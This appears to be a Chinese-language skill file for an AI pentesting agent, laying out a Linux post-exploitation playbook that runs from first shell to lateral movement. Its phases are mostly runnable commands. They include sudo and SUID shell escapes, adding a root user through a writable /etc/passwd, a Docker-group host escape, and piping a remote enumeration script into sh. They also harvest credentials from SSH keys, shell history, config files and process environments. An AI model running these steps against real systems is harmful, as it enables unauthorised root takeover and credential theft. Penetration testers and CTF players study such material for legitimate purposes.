wgpsec/post-exploit-linux

Linux 后渗透 & 提权方法论

获取 shell 后的完整行动路线：信息收集 → 提权 → 凭据收集 → 敏感数据 → 横向准备。

⛔ 深入参考

内容按需加载——SKILL.md 给你决策树和快速命令，references 给你完整 payload：

• sudo/SUID/Capabilities/Cron 劫持的全部利用命令、GTFOBins 速查、环境变量劫持、sudo CVE → references/privesc-techniques.md
• Docker/LXD 组提权、NFS、内核漏洞（PwnKit/DirtyPipe/DirtyCow）、snap-confine 提权（CVE-2026-3888）、可写文件、进程凭据 → references/advanced-privesc.md
• 凭据收集完整路径（配置文件/历史记录/SSH 密钥/数据库/进程内存） → references/credential-harvest.md

---

Phase 0: 30 秒快速提权判断

刚拿到 shell 时跑这几条命令，快速判断有没有"秒提"的机会：

id && sudo -l 2>/dev/null                          # 身份 + sudo 权限（80% 的提权从这里开始）
find / -perm -4000 -type f 2>/dev/null | head -20   # SUID 文件
getcap -r / 2>/dev/null                              # Capabilities
ls -la /etc/passwd /etc/shadow 2>/dev/null           # 文件权限

秒提信号：

• sudo -l 有 NOPASSWD 条目 → 大概率能提（查 GTFOBins）
• 非标准 SUID 文件（不是 ping/su/sudo/mount 那些） → 很可能可利用
• /etc/passwd 可写 → 直接添加 root 用户

如果这里没有明显突破口，继续 Phase 1 做完整信息收集。

Phase 1: 系统信息收集

# 身份与权限
id && whoami
uname -a && cat /etc/os-release      # 内核版本 + 发行版（匹配内核漏洞用）

# 网络
ip addr && ip route && ss -tlnp      # 接口、路由、监听端口
cat /etc/resolv.conf && arp -a && cat /etc/hosts

# 进程与环境
ps aux                                # 看有没有 root 运行的有趣进程
env | grep -iE 'pass|key|secret|token'  # 环境变量泄露

关键判断：

• 多网卡 = 可能是跳板（双网段 pivot）
• DNS 指向内网 IP = 域环境
• ARP 表大 = 活跃网段，值得扫描
• root 进程的命令行可能暴露密码/路径

Phase 2: 提权决策树（按成功率排序）

当前权限？
├─ 已是 root → 跳到 Phase 3 凭据收集
└─ 非 root → 按顺序检查：
    │
    ├─ 1. sudo -l
    │   ├─ (ALL) NOPASSWD: ALL → sudo su（直接 root）
    │   ├─ 特定命令 → GTFOBins 查提权方法
    │   ├─ env_keep+=LD_PRELOAD → 共享库注入提权
    │   └─ 无 sudo → 下一步
    │
    ├─ 2. SUID 文件
    │   find / -perm -4000 -type f 2>/dev/null
    │   ├─ 非标准 SUID → GTFOBins / strings 分析 / PATH 劫持
    │   └─ pkexec → PwnKit (CVE-2021-4034)
    │
    ├─ 3. Capabilities
    │   getcap -r / 2>/dev/null
    │   └─ cap_setuid → python3/perl 提权
    │   └─ cap_dac_read_search → 读 /etc/shadow
    │
    ├─ 4. Cron 任务
    │   cat /etc/crontab && ls -la /etc/cron.d/
    │   ├─ root cron 执行可写脚本 → 替换脚本内容
    │   ├─ cron PATH 有你可写的目录 → 同名脚本劫持
    │   └─ cron 使用通配符（tar *）→ 参数注入
    │
    ├─ 5. 可写文件/目录
    │   ├─ /etc/passwd 可写 → 添加 root 用户
    │   ├─ /etc/shadow 可读 → john/hashcat 破解
    │   ├─ systemd .service 可写 → 改 ExecStart
    │   └─ root 进程的库/配置可写 → 劫持
    │
    ├─ 6. 特殊组
    │   ├─ docker 组 → docker run -v /:/host alpine chroot /host bash
    │   ├─ lxd/lxc 组 → 容器逃逸挂载宿主机
    │   ├─ disk 组 → debugfs 读任意文件
    │   └─ adm 组 → 读日志找凭据
    │
    ├─ 7. NFS
    │   cat /etc/exports → no_root_squash → 远程写 SUID 文件
    │
    └─ 8. 内核漏洞（最后手段，有崩溃风险）
        uname -r → 匹配 CVE
        PwnKit(所有pkexec) | DirtyPipe(5.8-5.16) | DirtyCow(2.6-4.8) | OverlayFS(Ubuntu)
        snap-confine+tmpfiles(Ubuntu>=24.04, CVE-2026-3888, 需等10-30天)

→ 各步骤的完整利用命令 → references/privesc-techniques.md + references/advanced-privesc.md

sudo 提权 Top 10 速查

| 命令 | 提权方法 | |------|----------| | vim/vi | :!/bin/bash | | find | find / -exec /bin/bash \; | | python3 | import os; os.system("/bin/bash") | | awk | awk 'BEGIN {system("/bin/bash")}' | | env | env /bin/bash | | less/more | !/bin/bash | | tar | --checkpoint-action=exec=/bin/bash | | nmap | --interactive → !sh（旧版）/ --script | | bash/sh | 直接 sudo bash | | systemctl/journalctl | 进入 pager → !/bin/bash |

完整列表查 GTFOBins

自动化枚举

手动检查完没发现明显路径时，上自动化工具扫一遍——它们会检查更多边缘情况：

# LinPEAS（最全面，推荐）
curl -fsSL https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh

# LinEnum
./linenum.sh -t

# linux-exploit-suggester（内核漏洞匹配）
./linux-exploit-suggester.sh

投递工具到目标的方法 → 加载 tool-delivery 技能

Phase 3: 凭据收集

提权成功后（或即使没提权），尽可能收集凭据——这些凭据在横向移动中价值极大：

# Web 应用配置（数据库密码、API Key）
cat /var/www/html/config.php /var/www/html/.env /var/www/html/wp-config.php 2>/dev/null
find / -name "*.conf" -exec grep -l "password" {} \; 2>/dev/null

# 历史记录（人类经常在命令行敲密码）
cat ~/.bash_history ~/.mysql_history ~/.python_history 2>/dev/null | grep -iE 'pass|secret|key'

# SSH 密钥（横向移动的金钥匙）
cat ~/.ssh/id_rsa 2>/dev/null
ls -la /home/*/.ssh/

# 数据库凭据
cat /etc/mysql/debian.cnf 2>/dev/null

# 进程/环境中的凭据
cat /proc/*/environ 2>/dev/null | tr '\0' '\n' | grep -iE 'pass|key|secret|token'
cat /proc/*/cmdline 2>/dev/null | tr '\0' ' ' | grep -iE 'pass|pwd'

→ 更多凭据位置 → references/credential-harvest.md

Phase 4: 敏感数据搜索

# Flag（CTF/靶场）
find / -name "flag*" -o -name "proof*" 2>/dev/null
cat /root/flag.txt /home/*/flag.txt 2>/dev/null

# 备份/数据库/密钥文件
find / \( -name "*.bak" -o -name "*.sql" -o -name "*.key" -o -name "*.pem" \) 2>/dev/null

Phase 5: 横向移动准备

ip route && arp -a && cat /etc/hosts     # 发现其他网段和主机
cat ~/.ssh/known_hosts 2>/dev/null       # SSH 连接过哪些机器

收集到的凭据 + 发现的网段 → 加载 internal-recon 技能做内网扫描 → 加载 lateral-movement 技能做横向移动